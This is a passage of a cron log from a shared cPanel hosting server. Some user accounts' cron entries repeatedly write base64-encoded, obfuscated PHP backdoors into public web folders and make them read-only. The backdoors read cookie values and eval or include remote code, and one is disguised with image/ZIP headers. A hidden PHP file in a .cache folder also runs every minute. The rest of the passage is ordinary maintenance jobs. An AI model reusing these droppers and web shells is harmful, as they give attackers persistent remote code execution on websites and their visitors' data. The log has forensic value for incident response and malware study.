c3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:54:01 medusa CROND[29814]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:54:01 medusa CROND[29864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:54:01 medusa CROND[29865]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:54:01 medusa CROND[29866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:54:01 medusa CROND[29867]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:54:01 medusa CROND[29869]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:54:01 medusa CROND[29870]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:54:01 medusa CROND[29871]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:54:01 medusa CROND[29872]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:54:01 medusa CROND[29875]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:54:01 medusa CROND[29877]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:54:01 medusa CROND[29876]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:54:01 medusa CROND[29878]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:55:02 medusa CROND[31727]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:55:02 medusa CROND[31728]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:55:02 medusa CROND[31729]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:55:02 medusa CROND[31730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:55:02 medusa CROND[31731]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:55:02 medusa CROND[31732]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:55:02 medusa CROND[31733]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:55:02 medusa CROND[31734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:55:02 medusa CROND[31735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:55:02 medusa CROND[31739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:55:02 medusa CROND[31740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:55:02 medusa CROND[31742]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:55:02 medusa CROND[31738]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:55:02 medusa CROND[31748]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:55:02 medusa CROND[31749]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:55:02 medusa CROND[31750]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:55:02 medusa CROND[31753]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:55:02 medusa CROND[31752]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:55:02 medusa CROND[31758]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:55:02 medusa CROND[31759]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:55:02 medusa CROND[31751]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:55:02 medusa CROND[31811]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:56:01 medusa CROND[1468]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:56:01 medusa CROND[1469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:56:01 medusa CROND[1470]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 